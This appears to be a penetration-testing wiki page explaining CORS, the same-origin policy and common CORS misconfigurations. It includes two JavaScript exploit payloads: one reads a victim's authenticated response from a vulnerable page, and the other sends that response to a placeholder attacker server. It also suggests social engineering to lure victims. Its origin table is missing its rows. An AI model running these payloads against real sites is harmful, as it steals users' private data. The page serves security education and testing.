CORS

Introduction

Cross-Origin Resource Sharing (CORS) is a security feature implemented by web browsers that block web pages from making requests to a different domain than the one that served the web page. This is done to prevent malicious websites from making unauthorized requests to other sites on behalf of the user.

A CORS vulnerability occurs when a website improperly allows cross-origin requests from other domains, potentially allowing an attacker to make unauthorized requests to the site on behalf of the user. This can lead to various types of attacks, such as cross-site scripting (XSS) attacks, data leakage, and other types of malicious activity.

Same-origin policy (SOP)

The Same Origin Policy is a security feature implemented by web browsers that restrict web pages from making requests to a different domain than the one that served the web page. This policy is intended to prevent malicious websites from making unauthorized requests to other sites on behalf of the user.

Under the Same Origin Policy, a web page is only allowed to make requests to the same domain that served the web page. This means that a web page served from https://example.com is only allowed to make requests to https://example.com and not to any other domain.

The following table shows how the same-origin policy will be applied if the content at http://example.com/example/example.html tries to access other origins:

URL accessed

Access permitted?

*Internet Explorer will allow this access because IE does not take into account the port number when applying the same-origin policy.

The Same Origin Policy is an important security measure that helps to prevent cross-site scripting (XSS) attacks, data leakage, and other types of malicious activity. It is implemented by default in all modern web browsers and cannot be bypassed by web pages.

There are some exceptions to the Same Origin Policy, such as the use of the CORS headers, which allow web pages to make requests to other domains with the permission of the server. However, these exceptions must be carefully controlled to ensure that they do not create security vulnerabilities.

CORS Headers

The Cross-Origin Resource Sharing headers are HTTP headers that allow a web page to make requests to a different domain than the one that served the web page. These headers are used to enable the web page to access resources from other domains while still adhering to the Same Origin Policy.

CORS headers are sent in the HTTP response from the server to the client, and they specify which domains are allowed to make requests to the server. Several different CORS headers can be used to control access to a server, including:

Access-Control-Allow-Origin: This header specifies which domains are allowed to make requests to the server. For example, if the header value is https://example.com, only requests from https://example.com will be allowed. Furthermore, the specification of this header allows the use of the value null or wildcards *.
Access-Control-Allow-Methods: This header specifies which HTTP methods are allowed for cross-origin requests. For example, if the header value is GET, POST, then only GET and POST requests will be allowed.
Access-Control-Allow-Headers: This header specifies which HTTP headers are allowed in cross-origin requests.
Access-Control-Allow-Credentials: This header specifies whether or not the server allows credentials (such as cookies) to be included in cross-origin requests.

By using these headers, web developers can control which domains are allowed to make requests to their servers and what types of requests are allowed. This can help to prevent CORS vulnerabilities and other types of security vulnerabilities.

CORs misconfiguration issues

There are several ways in which CORS misconfigurations can occur. This is a list a misconfigurations that you might encounter in the wild.

ACAO value wildcard

If the Access-Control-Allow-Origin header is set to *, it allows any domain to make requests to the server. This can create a significant security vulnerability, as it allows any website to potentially access sensitive information or perform actions on the server on behalf of the user.

ACAO header from client-specified Origin header

The ACAO header is generated by the server in response to a client request that includes an Origin header. Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access resources from the vulnerable domain. If the response contains any sensitive information, you could retrieve this by placing the following script on your website:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','<VULNERABLE_PAGE_URL>',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

Then, you will have to use social engineering in order to make the user victim to access your malicious site.

Origin whitelist implementation issue

In this case, the application has implemented some rules by matching the URL prefixes, suffixes or regular expressions. Errors in the implementation of the access controls could result in unauthorized external domains being granted access.

Application grants access to every domain ending on example.com. Then, an attacker can gain access by registering the domain malicious-example.com.
Application grants access to every domain beginning with example.com. Then, the attacker can create a subdomain like example.com.malicious.es.

Whitelisted null origin value

The null origin value is a special value that is used to indicate that a web page has been loaded from various unusual situations:

Cross-origin redirects.
Requests from serialized data.
Request using the file: protocol.
Sandboxed cross-origin requests.

A whitelisted null origin value allows malicious websites that are loaded from one of the previous scenarios to potentially make unauthorized requests to the server on behalf of the user.

To exploit the vulnerability, you can use the following payload:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<VULNERABLE_PAGE_URL>',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='<ATTACKER_SERVER>/log?key='+this.responseText;
};
</script>"></iframe>

Exploiting XSS via CORS trust relationships

If a website trusts a domain that is vulnerable to cross-site scripting (XSS) attacks, an attacker could potentially use the XSS vulnerability to inject malicious JavaScript into the trusted website. This injected JavaScript could then use Cross-Origin Resource Sharing (CORS) to retrieve sensitive information from the trusted website.

Breaking TLS with poorly configured CORS

If an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. An attacker who is in a position to intercept a victim user's traffic can exploit the CORS configuration to compromise the victim's interaction with the application.

References

Last updated 1 year ago